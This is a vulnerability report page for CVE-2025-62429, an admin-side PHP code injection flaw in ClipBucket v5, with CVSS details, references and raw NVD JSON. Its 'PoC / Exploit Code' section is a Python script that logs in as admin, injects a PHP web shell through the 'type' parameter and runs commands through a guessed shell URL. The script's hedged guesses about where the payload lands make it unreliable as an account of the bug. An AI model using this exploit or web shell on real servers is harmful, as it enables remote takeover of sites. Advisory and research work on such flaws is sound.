Security Vulnerability Report
中文
CVE-2025-62429 CVSS 7.2 HIGH

CVE-2025-62429

Published: 2025-10-20 17:15:38
Last Modified: 2025-11-10 19:58:23

Description

ClipBucket v5 is an open source video sharing platform. Prior to version 5.5.2 #147, ClipBucket v5 is vulnerable to arbitrary PHP code execution. In /upload/admin_area/actions/update_launch.php, the "type" parameter from a POST request is embedded into PHP tags and executed. Proper sanitization is not performed, and by injecting malicious code an attacker can execute arbitrary PHP code. This allows an attacker to achieve RCE. This issue has been resolved in version 5.5.2 #147.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:oxygenz:clipbucket:*:*:*:*:*:*:*:* - VULNERABLE
ClipBucket v5 < 5.5.2 #147

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62429 - ClipBucket v5 RCE PoC # Vulnerability: Arbitrary PHP Code Execution via 'type' parameter # Endpoint: /upload/admin_area/actions/update_launch.php # Requirements: Valid admin credentials import requests # Configuration TARGET_URL = "http://target.com" ADMIN_USERNAME = "admin" ADMIN_PASSWORD = "password123" # Step 1: Login to obtain session cookie session = requests.Session() login_url = f"{TARGET_URL}/upload/admin_area/login.php" login_data = { "username": ADMIN_USERNAME, "password": ADMIN_PASSWORD } session.post(login_url, data=login_data) # Step 2: Exploit the 'type' parameter injection # Inject malicious PHP code into the 'type' parameter exploit_url = f"{TARGET_URL}/upload/admin_area/actions/update_launch.php" # Payload: Inject PHP code to execute system command malicious_payload = '<?php system($_GET["cmd"]); ?>' exploit_data = { "type": malicious_payload } # Send the exploit request response = session.post(exploit_url, data=exploit_data) # Step 3: Verify RCE by executing a command # If the injected code is written to a file, access it directly shell_url = f"{TARGET_URL}/upload/admin_area/actions/launched.php?cmd=id" verify_response = session.get(shell_url) print(f"Status: {verify_response.status_code}") print(f"Output: {verify_response.text}") # Alternative: Direct command execution via injected payload # If the code is executed inline, the output may be in the response if "uid=" in verify_response.text: print("[+] RCE confirmed! Server compromised.") else: print("[*] Check the injected file location for shell access.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62429", "sourceIdentifier": "[email protected]", "published": "2025-10-20T17:15:38.433", "lastModified": "2025-11-10T19:58:23.353", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ClipBucket v5 is an open source video sharing platform. Prior to version 5.5.2 #147, ClipBucket v5 is vulnerable to arbitrary PHP code execution. In /upload/admin_area/actions/update_launch.php, the \"type\" parameter from a POST request is embedded into PHP tags and executed. Proper sanitization is not performed, and by injecting malicious code an attacker can execute arbitrary PHP code. This allows an attacker to achieve RCE. This issue has been resolved in version 5.5.2 #147."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oxygenz:clipbucket:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3", "versionEndExcluding": "5.5.2-147", "matchCriteriaId": "31214EBB-325C-478D-9E78-FACDB17B17D2"}]}]}], "references": [{"url": "https://github.com/MacWarrior/clipbucket-v5/commit/e81bac602c871bb1ad971884003a3a496a2ab50b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/MacWarrior/clipbucket-v5/releases/tag/5.5.2-%23147", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-3x4g-x3gv-rjmq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-3x4g-x3gv-rjmq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}